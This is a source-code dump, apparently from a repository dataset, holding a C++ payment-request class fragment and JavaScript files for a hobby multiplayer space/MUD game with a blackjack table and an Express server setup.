InvokePayment::SetPayfeeModeCode(std::string code) { m_strPayfeeModeCode = code; } void InvokePayment::SetTradeTypeCode(std::string code) { m_strTradeTypeCode = code; } std::string InvokePayment::GetChargeID() { return m_strChargeID; } int InvokePayment::MakePackage() { NodeRoot nr; NodePayFee npf; cJSON *root = NULL; int iRetCode = SUCCESS; nr.SetOperCode("pay"); nr.SetStaffID("XK001"); nr.SetDepartID("XK"); nr.SetProvinceCode(m_strProvinceCode); nr.SetRegionCode(m_strRegionCode); nr.SetCityCode(m_strCityCode.empty()?"ZZZZ":m_strCityCode); nr.SetRouteProvinceCode(m_strProvinceCode); nr.SetRouteRegionCode(m_strRegionCode); nr.SetRouteCityCode(m_strCityCode.empty()?"ZZZZ":m_strCityCode); ///sdp要求修改 20150409 nr.SetInNetMode("X"); npf.SetRecvTag("3"); npf.SetUserID(CommonUtils::NumberUtil::Number2String(m_lUserID)); npf.SetSerialNumber(m_strSerialNumber); npf.SetRecvFee(CommonUtils::NumberUtil::Number2String(m_lRecvFee)); npf.SetPaymentID(m_strPaymentID); npf.SetPayfeeModeCode(m_strPayfeeModeCode); npf.SetChannelID("C"); ///20150729 if(m_lActivityID > 0) npf.SetActionCode(CommonUtils::NumberUtil::Number2String(m_lActivityID)); npf.SetTradeTypeCode(m_strTradeTypeCode); do { root = NodeRoot::JsonCreateRoot(nr); if(NULL == root) { m_strErrInfo = "JsonCreateRoot failed."; iRetCode = FAIL; break; } if(FAIL == NodePayFee::JsonAddPayFeeNode(root , npf) ) { m_strErrInfo = "JsonAddPayFeeNode failed."; iRetCode = FAIL; break; } m_strSendInfo.clear(); if( (m_strSendInfo = CommonUtils::JsonUtil::JsonToString(root) ).empty()) { m_strErrInfo = "JsonString is empty."; iRetCode = FAIL; break; } }while(false); if(root) CommonUtils::JsonUtil::JsonDelete(root); return SUCCESS; } int InvokePayment::ParsePackage() { RespNodePayFeeNode npf; if(SUCCESS != RespNodePayFeeNode::JsonParseRespPayFeeNode(m_strReceiveInfo, npf )) { m_strErrInfo = "JsonParseRespPayFeeNode fail."; return FAIL; } if(npf.GetRespCode().compare(1,4,"0000") != SUCCESS) { m_strErrInfo = "缴费接口返回失败. desc: " + npf.GetRespUtf8Desc(); return FAIL; } m_strChargeID = CommonUtils::StringUtil::replace(npf.GetChargeID() , "\"" , ""); return SUCCESS; } }
cea0a45cd9a0bf37c91e2ffdd977a7f04157360c
[ "Markdown", "C", "Makefile", "C++" ]
38
C++
clzdl/BusinessUtil
1e550173bc56d6bb163a52f5c5821b13e4036c7f
81a459932b9abf02e0ed71ef20ac5235fabd1619
refs/heads/master
<repo_name>halmayne/chumpr<file_sep>/client/app/helper/watch.js /** * User: halmayne * Date: 7/31/13 * Time: 4:00 PM */ var events = require("events"); var axle = require('./axle'); var util = require("util"); var ms = require('../magicStrings'); var watch = function () { events.EventEmitter.call(this); this.value = axle.createHash(); }; util.inherits(watch,events.EventEmitter); p = watch.prototype; p.set = function (value) { this.value=value; this.emit(ms.CHANGE_EVENT, this.value); }; p.get = function () { return this.value; }; p.clear = function () { this.value = axle.createHash(); //this.emit("value_changed", this.value); }; watch.addWatch = function (name, data) { data[name] = new watch(); if (this.emit) this.emit('watch_added', name); }; module.exports = watch; <file_sep>/src/astra/core/ship/_ship.js var c = {}; c.behaviors = [ { file:"astra/core/item", props: { short_desc: 'A ship.', long_desc: 'A tiny ship' } } ]; module.exports = c; <file_sep>/src/archive/contextManager.js var events = require("events"); var util = require("util"); var mdb = new (require("./../mdb")).MDB(); var ContextManager = function(){ events.EventEmitter.call(this); this._users = {}; // by username this._sockets = {}; // by client }; util.inherits(ContextManager,events.EventEmitter); var p = ContextManager.prototype; p.addUser = function(socket, name, sessionHash){ }; p.addSocket = function(socket, name, sessionHash){ }; p.disconnect = function(socket, name, sessionHash){ }; p.authUser = function(name, sessionHash, callback) { }; p._loadUser = function(name){ mdb.find('player_store','username',name, function (error,config) { if (error ==null) { if (config == null) { console.log("no such"); } else { console.log("user found"); } } else { console.log("db error on cm._loadUser"); } }.bind(this) ); }; module.exports = new ContextManager();<file_sep>/src/astra/core/actor.js var Class = require("cognition").Behavior.subClass(); var p = Class.prototype; var cognition = require("cognition"); p.defaults = { stagger_delay: 500 }; p.create = function(){ this.setName('actor_behavior'); this.setKind('actor'); }; p.init = function(){ this.exposeMethod('performAction', this.queueToPerform); this.actionQueue = []; this.timeout = 0; this.onCogEvent(cognition.events.RECEIVE_DATA, this.queueToPerform); }; p.awake = function(){ var x = 1; // this.onCogEvent(cognition.events.RECEIVE_DATA, this.queueToPerform); }; p.queueToPerform = function(data){ this.actionQueue.push(data); if(!this.timeout) this.performNext(); }; p.performNext = function(){ if(this.actionQueue.length > 0){ var action = this.actionQueue.shift(); var actor = this._cog; if(typeof action == 'string') { if(action.charAt(0)=='{'){ cognition.action.parseJSON(actor, action); } else { cognition.action.parseText(actor, action); } } else { cognition.action.parseAction(actor, action); } this.timeout = setTimeout(this.performNext.bind(this),this.getProp('stagger_delay',true)); } else { this.timeout = 0; } }; module.exports = Class;<file_sep>/src/archive/behaviors/context.js var Behavior = require("./../../behavior"); var util = require("util"); var Class = function(){ Behavior.call(this); }; util.inherits(Class,Behavior); var p = Class.prototype; p.awake = function(){ this.onCmd('look', this.cmdLook); this.setName('look'); } p.cmdLook = function(){ var env = this.getPlayerParent(); if(env){ var b = env.getSoloBehavior('room'); var desc = b.getLook(player); player.emit('sendData',desc); } } module.exports = Class;<file_sep>/src/astra/core/ship/freighter.js var cognition = require("cognition"); var Class = cognition.Behavior.subClass(); var p = Class.prototype; p.create = function(){ this.setName('freighter_behavior'); this.setKind('freighter'); this.spawnCog('astra/core/ship/_cockpit'); this.spawnCog('astra/core/ship/_lounge'); }; module.exports = Class;<file_sep>/src/astra/core/universeAdmin.js var Class = require("cognition").Behavior.subClass(); var p = Class.prototype; p.defaults = { options: { sectors: 1000, clusterMin: 1, clusterMax: 11, branchMax: 5, file: 'astra/core/_universe', revStats: [ {name: "Galactic Core", toRev: 2}, {name: "Inner Rim", toRev: 4}, {name: "Outer Rim", toRev: 7}, {name: "Nebulous Fringe", toRev: 10}, {name: "Black Beyond", toRev: 999} ] }, universes: {byName: {}, byCID: {}} }; p.create = function(){ this.setName('admin_behavior'); this.setKind('admin'); }; p.init = function(){ //this.exposeMethod('cmdsave_reset',this.resetOptions); this.exposeMethod('cmd_genu',this.genUniverse); this.exposeMethod('cmd_listu',this.listUniverses); this.exposeMethod('cmd_jumpu',this.jumpUniverse); }; p.genUniverse = function(action){ var options = this.getProp('options'); var universes = this.getProp('universes'); var name = action.itemName; var uni = this.createCog(options.file); universes.byName[name] = uni.getCID(); universes.byCID[uni.getCID()] = name; uni.setProp('options',options); uni.doMethod('build'); this.setProp('universes',universes); //var entryCluster = this.findCogByCID(uni.getProp('clusterCIDs')[0]); //var sector = entryCluster.getChildren()[0]; //action.actor.setParent(sector); }; p.listUniverses = function(action){ var list = "--universes--\n"; var unis = this.getProp('universes',true); for(var name in unis.byName){ list += name + ":" + unis.byName[name] + "\n"; } action.actor.sendPlayer(list); }; p.jumpUniverse = function(action){ var universes = this.getProp('universes'); var cid = universes.byName[action.itemName]; if(!cid){ action.actor.sendPlayer("not found"); return; } var uni = this.findCogByCID(cid); var entryCluster = this.findCogByCID(uni.getProp('clusterCIDs')[0]); var sector = entryCluster.getChildren()[0]; var ship = this.createCog('astra/core/ship/_freighter'); var rooms = ship._children; action.actor.setParent(rooms[0]); ship.setParent(sector); }; module.exports = Class;<file_sep>/src/nova/core/orbital.js var Class = require("cognition").Behavior.subClass(); var p = Class.prototype; p.defaults = { orbital_radius: 0, orbital_angle: 0, appearance: {} }; p.create = function(){ this.setKind('orbital'); }; module.exports = Class;<file_sep>/src/nova/core/universe.js var Class = require("cognition").Behavior.subClass(); var cognition = require("cognition"); var p = Class.prototype; p.defaults = { starCIDs: [] }; p.create = function(){ this.setKind('universe'); }; p.init = function(){ this.exposeMethod('build',this.build); }; p.awake = function(){ var starCIDs = this.getProp('starCIDs'); for(var i = 0; i < starCIDs.length; i++){ var c = this.findCogByCID(starCIDs[i]); c.setParent(this._cog); } }; p.build = function(){ var starCIDs = this.getProp('starCIDs'); var ang = 0; var r = 0; var pa; for(var i = 1; i <= 100; i++){ ang = Math.random() * Math.PI * 2; r = Math.floor(Math.sqrt(i + Math.random() *.5) * 100) - 100; var star = this.createCog('core/_star'); star.setProp('orbital_angle', pa); star.setProp('orbital_radius', r); star.setProp('long_desc', 'The star' + i); star.setProp('short_desc', 'star' + i); star.setProp('alias_list', ['star' + i]); starCIDs.push(star._cid); var planets = cognition.axle.randomInt(0,5); var ang2 = 0; var r2 = 0; for(var j = 0; j < planets; j++){ ang2 = Math.random() * Math.PI * 2; r2 = j * 10 + Math.random() * 6 - 3; var planet = this.createCog('core/_planet'); planet.setProp('orbital_angle', ang2); planet.setProp('orbital_radius', r2); planet.setProp('short_desc', 'planet' + j); planet.setProp('long_desc', 'The planet' + j); planet.setProp('alias_list', ['planet' + j]); planet.setParent(star); } } this.setProp('starCIDs',starCIDs); this.setProp('long_desc','The universe at large'); }; module.exports = Class;<file_sep>/src/mud/basicCmds.js var Behavior = require("./../behavior"); var util = require("util"); var Class = function(){ Behavior.call(this); }; util.inherits(Class,Behavior); var p = Class.prototype; p.defaults = { name:'none', aliasList:{} } ; p.create = function(){ this.setProp('aliasList',{}); }; p.awake = function(){ this.exposeMethod('parseCmd',this.parseCmd); this.onCmd('look', this.look); this.onCmd('say', this.say); this.onCmd('showMe', this.showMe); this.onCmd('showEnv', this.showEnv); this.onCmd('alias', this.addAlias); this.onCmd('getPrefs', this.getPrefs); this.setName('basicCmds'); }; p.look = function(){ var env = this.getPlayerParent(); if(!env) return; if(env.hasMethod('getLongLook')){ var msg = env.doMethod('getLongLook'); this.sendPlayer(msg); } }; p.addAlias = function(data){ var list = this.getProp('aliasList'); var arr = data.split(' '); var alias = arr[0]; arr.shift(); list[alias]= arr.join(' '); }; p.getPrefs = function(data){ var prefs = {"name":"prefs"}; prefs['aliasList'] =this.getProp('aliasList'); //TODO other player prefs? this.getPlayer().emit('sendData', JSON.stringify(prefs)); }; p.parseCmd = function(data){ var arr = data.split(' '); var cmd = arr[0]; var target = null; if(arr.length > 1){ arr.shift(); target = arr.join(' '); } this.emitCmd(cmd,target); }; p.say = function(data){ this.sendOthers(data); }; p.showMe = function(){ var player = this.getPlayer(); this.sendPlayer(JSON.stringify(player.getConfig(),null,2)); } p.showEnv = function(){ var player = this.getPlayer(); var env = player.getParent(); if(!env){ this.sendPlayer("You are lost in space."); return; } this.sendPlayer(JSON.stringify(env.getConfig(),null,2)); } module.exports = Class;<file_sep>/src/astra/core/_cluster.js var c = {}; c.isMachine = true; c.behaviors = [ {file:"astra/core/item"}, {file:"astra/core/room"}, {file:"astra/core/cluster"} ]; module.exports = c; <file_sep>/src/astra/world/ports/mini/_port.js var c = {}; c.behaviors = [ { file:"astra/core/item", props: { short_desc: 'A MiniPort', long_desc: 'A MiniPort.', alias_list: ['port','miniport'] } }, {file:"astra/core/room"}, { file:"astra/core/ship/landable", props: { landing_room:"astra/world/ports/mini/_landingBay" } }, {file:"astra/world/ports/mini/port"} ]; module.exports = c; <file_sep>/src/gameTables/Yblackjack.js var axle = require('cognition/axle'); var MAX_PLAYERS = 3; var STATE_BET = 0; var STATE_HIT = 1; var STATE_WAIT = 2; var MIN_BET = 10; var STATE_LIST = ["STATE_BET", "STATE_HIT", "STATE_WAIT"]; exports.config = { STATE_LIST: STATE_LIST, STATE_HIT: { wait: 30, function: "finishRound" }, STATE_BET: { wait: 15, function: "startRound" }, STATE_WAIT: { wait:5, function: 'clearRound' }, E_NAME: 'table_cards', E_INPUT: 'cmd_table_action', PLAYER_ADDED: 'sit', PLAYER_REMOVED: 'cashOut', COMMANDS: { hit: 'hit', stand: 'stand', bet: 'bet', ready: 'playerReady', fireball: 'fireball' } }; //exports.waits = exports.clearRound = function (state) { for (var p in state.players) { var player=state.players[p]; player.actions.bet=true; player.actions.hit=false; player.actions.stand=false; clearArray(player.hand); } clearArray(state.dealerHand); }; exports.createGame = function () { return { deck: shuffle(4), playerCount: 0, players: axle.createHash(), dealerHand: [], dealerStat: 0, state: 0, advance:0, seats: [3,2,1] }; }; exports.sit = function (state, playerId, playerName, cash) { if (state.playerCount < MAX_PLAYERS && !state.players[playerId]){ var player = { cash: cash || 500, bet: 0, hand: [], lastWin: 0, actions: { bet:false, hit:false, stand:false }, playerName: playerName, ready:false , seat: state.seats.pop() }; if (state.state==STATE_BET) { player.actions.bet=true; player.bet=MIN_BET; } state.players[playerId] = player; state.playerCount++; return true; } return false; // var cash = player.getProp('cash'); // if (cash<500) cash=500; // player.setProp('cash', cash-500 ); }; exports.cashOut = function (state, playerId) { var playerStats = axle.createHash(); if(!state.players[playerId]) return null; playerStats.winnings = state.players[playerId].cash || 0; state.seats.push(state.players[playerId].seat); delete state.players[playerId]; state.playerCount--; return playerStats; // var cash = player.getProp('cash'); // player.setProp('cash', cash+win ); }; exports.bet = function (state,playerId,amount) { if (state.players[playerId].actions.bet && state.players[playerId].cash>=amount && amount>=0) { state.players[playerId].bet=amount; } }; exports.fireball = function (state,playerId) { if(state.state==STATE_HIT) { for (var p in state.players) { var player=state.players[p]; if(p!=playerId) clearArray(player.hand); } clearArray(state.dealerHand); state.advance=1; state.fireball=true; } }; exports.playerReady = function (state,playerId) { if (state.players[playerId].actions.bet ) { state.players[playerId].ready=true; } var done = true; for (var p in state.players) { var player=state.players[p]; if(!player.ready) done=false; } if (done) state.advance=1; }; exports.hit = function (state,playerId) { if (state.players[playerId].actions.hit) { dealCard(state.deck, state.players[playerId].hand); if (handVal(state.players[playerId].hand)>=21) { state.players[playerId].actions.hit=false; state.players[playerId].actions.stand=false; } var done = true; for (var p in state.players) { var player=state.players[p]; if(player.actions.hit) done=false; } if (done) state.advance=1; } }; exports.stand =function(state, playerId) { if (state.players[playerId].actions.stand) { state.players[playerId].actions.hit=false; state.players[playerId].actions.stand=false; var done = true; for (var p in state.players) { var player=state.players[p]; if(player.actions.hit) done=false; } if (done) state.advance=1; } }; exports.startRound = function (state) { for (var p in state.players) { var player=state.players[p]; player.actions.bet=false; player.actions.hit=true; player.actions.stand=true; clearArray(player.hand); dealCard(state.deck,player.hand); dealCard(state.deck,player.hand); if (handVal(player.hand)==21) { //bj //player.cash += Math.floor(player.bet*3/2); //state.dealerStat -= Math.ceil(player.bet*3/2); //player.bet=MIN_BET; player.actions.hit=false; player.actions.stand=false; //player.lastWin = Math.floor(player.bet*3/2); //player.bj=true; } } clearArray(state.dealerHand); dealCard(state.deck, state.dealerHand); var done = true; for (var p1 in state.players) { var player1=state.players[p1]; if(player1.actions.hit) done=false; } if (done) state.advance=1; }; exports.finishRound = function (state) { for (var p in state.players) { var player=state.players[p]; player.actions.bet=false; player.actions.hit=false; player.actions.stand=false; player.ready=false; } while (handVal(state.dealerHand)<17 && !state.fireball) { dealCard(state.deck, state.dealerHand); } if (state.fireball) delete state.fireball; for (var p in state.players) { var player=state.players[p]; if (handVal(player.hand)>21) { player.cash -= player.bet; player.lastWin = player.bet*-1; state.dealerStat += 1*player.bet; } else if (handVal(player.hand)==21 && player.hand.length==2) { player.cash += Math.floor(3*player.bet/2); player.lastWin = Math.floor(3*player.bet/2); state.dealerStat -= Math.floor(3*player.bet/2); } else if( handVal(state.dealerHand)>21 || (handVal(state.dealerHand) < handVal(player.hand)) ) { player.cash += 1*player.bet; player.lastWin = player.bet; state.dealerStat -= player.bet; } else if (handVal(state.dealerHand) > handVal(player.hand)) { player.cash -= player.bet; player.lastWin = player.bet*-1; state.dealerStat += 1*player.bet; } else if( handVal(state.dealerHand) == handVal(player.hand) ) { player.lastWin = 0; } } }; exports.toData = function(state) { var o = axle.createHash(); o.state = STATE_LIST[state.state]; if (state.fireball) o.fireball = state.fireball; o.timer = exports.config[STATE_LIST[state.state]].wait; o.playerCount = state.playerCount; o.dealer = { hand: state.dealerHand, val: handVal(state.dealerHand) }; o.players = axle.createHash(); for (var p in state.players) { var player=state.players[p]; o.players[p] = { seat: player.seat, hand: player.hand, val: handVal(player.hand), bet: player.bet, cash: player.cash, lastWin: player.lastWin, playerName: player.playerName }; o.players[p].actions = { bet: player.actions.bet, hit: player.actions.hit, stand: player.actions.stand }; } return o; }; function dealCard(deck, hand) { if (deck.length==0) deck = shuffle(4); hand.push(deck.pop()); } function shuffle(decks) { return shuffleArray(range(1,52, decks)); } function shuffleArray(array) { for (var i = array.length - 1; i > 0; i--) { var j = Math.floor(Math.random() * (i + 1)); var temp = array[i]; array[i] = array[j]; array[j] = temp; } return array; } function range(start, end, times) { var arr = []; for (var x =0; x<times; x++) { for (var i = start; i <= end; i++) { arr.push(i); } } return arr; } function numToVal(num) { var base = Math.ceil(num/4); switch (base) { case 1: return 1; case 2: case 3:case 4: return 10; default: return 15 - base; } } function handVal(hand) { var val=0; var hasAce=false; for (var i=0; i<hand.length; i++) { var card = numToVal(hand[i]); if (card==1) hasAce=true; val+=card; } if (hasAce && val<12) val += 10; return val; } function clearArray(arr) { while (arr.length > 0) { arr.pop(); } }<file_sep>/src/nova/core/look.js var Class = require("cognition").Behavior.subClass(); var p = Class.prototype; p.create = function(){ this.setName('look_behavior'); this.setKind('look'); }; p.init = function(){ console.log('expose look'); this.exposeMethod('cmd_look',this.look); this.exposeMethod('cmd_showMe',this.showMe); this.exposeMethod('cmd_showEnv',this.showEnv); this.exposeMethod('cmd_help',this.listAllCmds); }; p.look = function(){ var env = this.getParent(); if(!env) return; if(env.hasMethod('look')){ var msg = env.doMethod('look', this.getPlayer()); this.sendPlayer(msg); } }; p.showMe = function(){ var player = this.getPlayer(); this.sendPlayer(JSON.stringify(player.getConfig(),null,2)); }; p.showEnv = function(){ var env = this.getPlayerParent(); if(!env){ this.sendPlayer("You are lost in space."); return; } this.sendPlayer(JSON.stringify(env.getConfig(),null,2)); }; p.listAllCmds = function(){ console.log('halp'); var cmds =[]; var player = this.getPlayer(); cmds=cmds.concat(player.listMethods()); var env = this.getPlayerParent(); if(env){ cmds=cmds.concat(env.listMethods()); } var player_cmds=[]; for (var i=0;i<cmds.length;i++) { if(cmds[i].slice(0,4)=='cmd_') player_cmds.push(cmds[i].slice(4)) } this.sendPlayer(JSON.stringify(player_cmds,null,2)); }; module.exports = Class;<file_sep>/src/nova/core/_ship.js var c = {}; c.isPlayer = true; c.isMachine = true; c.behaviors = [ {file:"core/look"}, {file:"core/item"}, {file:"core/actor"}, {file:"core/inventory"}, {file:"core/chat"}, {file:"core/helm"}, {file:"core/senseOrbitals"} ]; module.exports = c; <file_sep>/src/astra/core/ship/_freighter.js var c = {}; c.behaviors = [ { file:"astra/core/item", props: { short_desc: 'Generic Freighter', long_desc: 'A Generic Freighter.', alias_list: ['ship','freighter'] } }, {file:"astra/core/room"}, { file:"astra/core/ship/entry", props: { entry_room:"astra/core/ship/_lounge" } }, {file:"astra/core/ship/freighter"} ]; module.exports = c; <file_sep>/src/astra/core/charGen.js /** * @constructor * @class charGen * @extends Behavior * */ var Class = require("cognition").Behavior.subClass(); /** @lends {Behavior} */ var p = Class.prototype; p.create = function(){ /** @type {charGen} */ var self = this; self.setKind('hud'); self.setName('charGen_behavior'); }; /** * Returns the roster widget element. * @this {charGen} */ p.init = function(){ /** @type {charGen} */ var self = this; self.exposeMethod('cmd_enterWorld',this.enterWorld); }; p.showHUD = function(){ /** @type {charGen} */ var self = this; self.sendPlayer('Showing the HUD: setJob [job] or enterWorld.'+self.getName()); }; p.setJob = function(data){ /** @type {charGen} */ var self = this; if(typeof data == 'string'){ self.setProp('job',data); } }; p.enterWorld = function(){ /** @type {charGen} */ var self = this; var room = self.createCog('astra/core/_universeAdmin'); self.getPlayer().setParent(room); self.removeBehavior('charGen_behavior'); }; module.exports = Class;<file_sep>/client/app/helper/axle.js var Axle = function (){}; Axle.bool = function(val) { return !!val; }; Axle.cloneDeep = function(json) { return JSON.parse(JSON.stringify(json)); }; Axle.overwrite = function(origObj, newProps){ for(var k in newProps){ origObj[k] = newProps[k]; } return origObj; }; Axle.findFirst = function(prop,val,arr){ for(var i=0; i < arr.length; i++){ var obj = arr[i]; if(obj.hasOwnProperty(prop) && obj[prop] == val) return obj; } return null; }; Axle.createHash = function () { return Object.create(null); }; module.exports = Axle;<file_sep>/client/app/helper/collection.js /** * User: halmayne * Date: 7/28/13 * Time: 2:25 AM */ //FIXME: move event stuff to state object and turn these into stateless functions var events = require("events"); var axle = require('./axle'); var util = require("util"); var collection = function () { events.EventEmitter.call(this); this.items = axle.createHash(); this.name = ''; this.selectedItem = null; this.length = 0; }; util.inherits(collection,events.EventEmitter); p = collection.prototype; p.add = function (value, key) { if (key===undefined) { if (value.cid !== undefined) key = value.cid; else key = this.length ; //removed getKeys().length } else { if (this.items[key] !== undefined) return; } this.items[key]=value; this.length++; this.emit("item_added", key, value); }; p.remove = function (key) { if (this.items[key] === undefined) return; var value = this.items[key]; delete this.items[key]; this.length--; this.emit("item_removed", key, value ); }; p.removeByValue = function (value) { for(var k in this.items) { if (this.items[k] == value) this.remove(k); } }; p.getKeys = function() { //hashes var keys = []; for(var k in this.items) keys.push(k); return keys; }; p.getValues = function() { //hashes var values = []; for(var k in this.items) values.push(this.items[k]); return values; }; p.contains = function (value) { for(var k in this.items) if (this.items[k]===value) return true; return false; }; p.hasKey = function (key) { for(var k in this.getKeys()) if (k===key) return true; return false; }; p.selectItem = function (key) { if (this.hasKey(key)) this.selectedItem = this.items[key]; this.emit('item_selected', key, this.selectedItem ); }; p.syncCollection = function (data) { //TODO: make separate function for reset on room change... // console.log(this.items); // console.log(data); for (var k in this.items) { //if (data[k] === undefined) { //removed - failed on dupe keys this.remove(k); //} } for (var k in data) { if (data.hasOwnProperty(k)) { if (data[k].cid) this.add(data[k],data[k].cid); else this.add(data[k],k); } } // console.log(this.items); // console.log('done'); }; p.clear = function (suppressEvent) { if (suppressEvent) { this.items = axle.createHash(); this.length = 0; } else { for(var k in this.items) { this.remove(k); } } }; collection.addCollection = function (name, data) { if (data[name]) return; data[name] = new collection(); if (this.emit) this.emit('collection_added', name); }; module.exports = collection;<file_sep>/src/nova/core/senseEnvChat.js var Class = require("cognition").Behavior.subClass(); var p = Class.prototype; p.create = function(){ this.setName('sense_env_chat_behavior'); this.setKind('sense'); }; p.init = function(){ this.onEnvEvent('chat', this.senseAdd); }; p.senseAdd = function(chatMsg){ this.sendPlayer('env_chat', 'add', chatMsg); }; module.exports = Class;<file_sep>/client/app/render/index.js /** * User: halmayne * Date: 7/28/13 * Time: 1:10 AM */ var r={}; r['legacy']=require('./legacy'); r['basic']=require('./basic'); exports.render=r; <file_sep>/src/nova/data/placeNames.js var clusters = [ "The Red Crab", "Jackson's Bend", "The Eyes of Ambrose", "Frigg's Redoubt", "Barrier Nine", "The Wombat Nebula", "Solace", "Prospectus", "Malek's Maze", "Palm Tree", "Ultraviolet", "Bierce", "Dereliction", "Stellar Wind", "Dog Star", "Void of Fish", "Eye on Ion", "The Gool", "Crossroad Nova", "Bright Star Lake", "Deep Calling", "Blacksmith's Lament", "The Cross of Zakalwe", "Metaphor Rock", "Herb", "The Zone", "The Paradox Group", "Loose Wallet", "Constellation", "Broken Banner", "Jeffic", "Barnard", "<NAME>eddy", "Umbral Line", "Undelivered", "Greenwald", "Ravenwood", "Relic", "Gold<NAME>", "Moonlight Hammer", "Buck", "Lemon Light", "Camber", "Jane's Contusion", "Fluor", "<NAME>ux", "Ergates", "Freyr", "Freya", "Nidhogr", "Muspelheim", "Vanaheim", "Alfheim", "Appleblood", "Snarg", "Bish", "<NAME>", "Sunnydale", "<NAME>", "Starsylvania", "Kuroshin", "Svart", "Elyse", "Morning Primrose", "Gungnir", "<NAME>ane", "Malamander", "Zorogol", "Tothic", "Ugnoshin", "<NAME>", "Saber Jade", "Icthus", "Phantasia", "<NAME>", "Fandric", "Cinder Prime", "Lala Ru", "<NAME>", "Imp", "<NAME>", "Chamber", "Here is Sarah", "Little Cup", "Gorgonish", "Yule Shift", "Avalon", "Ember Road", "Avegar's Stand", "<NAME>", "Niffleheim", "New Oort", "New Mercury", "Tuaga", "Shinghua", "Thune", "New Borealis", "Artemis", "Casgar", "Sven's Rapture", "The Hole of Gehenna", "The Blind Sisters", "Trundell", "Kishima", "New Centauri", "Vaslavich", "Oarba", "Cheradanine", "Endjinn", ];<file_sep>/client/app/index.js //main app var events = require("events"); var util = require("util"); var config = require('../config'); var helper = require('./helper'); var msgHelper = helper.message; var state = require('./state'); var render = require('./render').render[config.renderer]; var commander= helper.commandBuilder; var server=helper.connection; var client = state.client; var env = state.env; var history = state.history; var ms = require('./magicStrings'); var self; var app = function (){ events.EventEmitter.call(this); self = this; //init state.client.app = this; render.setState(state); render.init(); //auth if (qs('user')) state.client.name=qs('user'); else state.client.name = 'hal'; //TODO: add auth state.client.socket = server.connect(state.client.name, handleMessage); //setup collections //helper.collection.addCollection.call(state.env,'test', state.env.data); //setup environment //state.env.data['items'].add('sword'); //register listeners state.client.input.on(ms.CHANGE_EVENT, handleInput ); //exports this.render=render; //FIXME: move to exports. (didnt work...) this.state=state; this.helper=helper; this.handleMessage = handleMessage.bind(this); this.handleInput = handleInput.bind(this); }; util.inherits(app,events.EventEmitter); module.exports = new app(); var p = app.prototype; /** * * @param data */ function handleMessage (data) { //console.log(data); var command = msgHelper.parseMessage(data); state.history.debug.add(JSON.stringify(command,null,2)); if (command.view) { var cmd = command.view.split('_'); //console.log(cmd); switch (cmd.shift()) { case "chat": //self.emit("chat", command.data); state.client.chat.set(command.data); //FIXME: maybe better as fifo queue in history? break; case "env": if (cmd[0]) state.env.update(cmd.join("_"), command.data,command.type); break; case "inv": if (cmd[0]) state.player.update(cmd.join("_"), command.data,command.type); break; case "player": if (cmd[0]) state.player.update(cmd.join("_"), command.data,command.type); break; default: } } } function handleInput(data) { // if (render.Views.debug) { // if (typeof data=='object') render.Views.debug.log(JSON.stringify(data,null,2)); // else render.Views.debug.log(data); // } if (typeof data=='object') state.history.debug.add(JSON.stringify(data,null,2)); else state.history.debug.add(data); if (state.client.socket) { state.client.socket.send(data); } } //TODO: remove test asap function qs(key) { key = key.replace(/[*+?^$.\[\]{}()|\\\/]/g, "\\$&"); // escape RegEx meta chars var match = location.search.match(new RegExp("[?&]"+key+"=([^&]+)(&|$)")); return match && decodeURIComponent(match[1].replace(/\+/g, " ")); }<file_sep>/src/nova/core/helm.js var cognition = require("cognition"); var Class = cognition.Behavior.subClass(); var p = Class.prototype; p.create = function(){ this.setKind('helm'); }; p.init = function(){ this.exposeCmd('enterOrbit',this.enterOrbit_cmd); this.exposeCmd('leaveOrbit',this.leaveOrbit_cmd); }; p.enterOrbit_cmd = function(action){ var orbital = action.item; if(!orbital) return; if(!orbital.hasBehavior('orbital')) return; if(this.attemptAction(action)){ action.actor.sendPlayer("Entering orbit..."); //action.actor.sendOthers(action.actor.getProp('short_desc') + " activates the Fugue Drive, and space folds in around you."); //this.ship.sendOthers(this.getProp('short_desc')+ " folds into the Fugue and is gone."); action.actor.setParent(orbital); } }; p.leaveOrbit_cmd = function(action){ var orbital = action.actor.getEnv(); if(!orbital) return; if(!orbital.hasBehavior('orbital')) return; var env = orbital.getEnv(); if(!env) return; if(this.attemptAction(action)){ action.actor.sendPlayer("Leaving orbit..."); //action.actor.sendOthers(action.actor.getProp('short_desc') + " activates the Fugue Drive, and space folds in around you."); //this.ship.sendOthers(this.getProp('short_desc')+ " folds into the Fugue and is gone."); action.actor.setParent(env); } }; module.exports = Class;<file_sep>/termcommander.js /** * User: halmayne * Date: 6/4/13 * Time: 2:04 PM */ var player = {name:'Player1', location: 'lobby'}; var locations = [ {name:'lobby', exits: {north:'dungeon',south:'meadhall',east:'africa',west:'london'}} , {name:'dungeon', exits: {south:'lobby'}}, {name:'meadhall', exits: {north:'lobby'}}, {name:'africa', exits: {west:'lobby'}}, {name:'london', exits: {east:'lobby'}} ]; function TermHandler() { var self=this; } var p = TermHandler.prototype; p.init = function(socket) { var self=this; this.socket = socket; socket.on('message', function(data){ self.handleInput(data); }); socket.send('Player located in ' + player.location); } p.handleInput = function(data) { var curloc = undefined; for (var location in locations) if (locations[location].name == player.location) curloc = locations[location]; if (curloc.exits[data] !== undefined) { player.location = curloc.exits[data]; this.move(data); } else if (data.toLowerCase()=="add news") { } else { this.socket.send('Not an exit.'); } } p.move = function (direction) { this.socket.send('You go ' + direction); this.socket.send('Player located in ' + player.location); } module.exports = TermHandler;<file_sep>/client/app/magicStrings.js /** * User: halmayne * Date: 7/31/13 * Time: 5:34 PM */ exports.CHANGE_EVENT = 'value_changed'; exports.ENV_ITEMS = 'env_items'; <file_sep>/src/archive/blueprints/testPlace.js var c = {}; c.isMaster = true; c.isMachine = false; c.isPlayer = false; c.behaviors = [ { file:"./mud/item", props:{ shortDesc: 'Debugging Hell.', longDesc: 'If you see this, all is not for naught' } }, { file:"./mud/room", props:{ } } ]; module.exports = c; <file_sep>/appTables.js var express = require('express'); var routes = require('./routes'); //var socket = require('./routes/socket.js'); var app = module.exports = express(); var server = require('http').createServer(app); //var cm = require('./src/contextManager'); var browserify = require('browserify-middleware'); browserify.settings({ transform: ['hbsfy'] }); var passport = require('passport') , GoogleStrategy = require('passport-google').Strategy; var _user = {}; app.configure(function(){ app.set('views', __dirname + '/views'); app.set('view engine', 'jade'); app.use(express.cookieParser("thissecretrocks")); app.use(express.bodyParser()); app.use(express.methodOverride()); app.use(express.static(__dirname + '/public')); //app.use(express.cookieParser("0x5f3759df")); app.use(express.session({ secret: 'thissecretrocks', cookie: { maxAge: 600000 } })); //app.set('contextManager',cm); app.use(passport.initialize()); 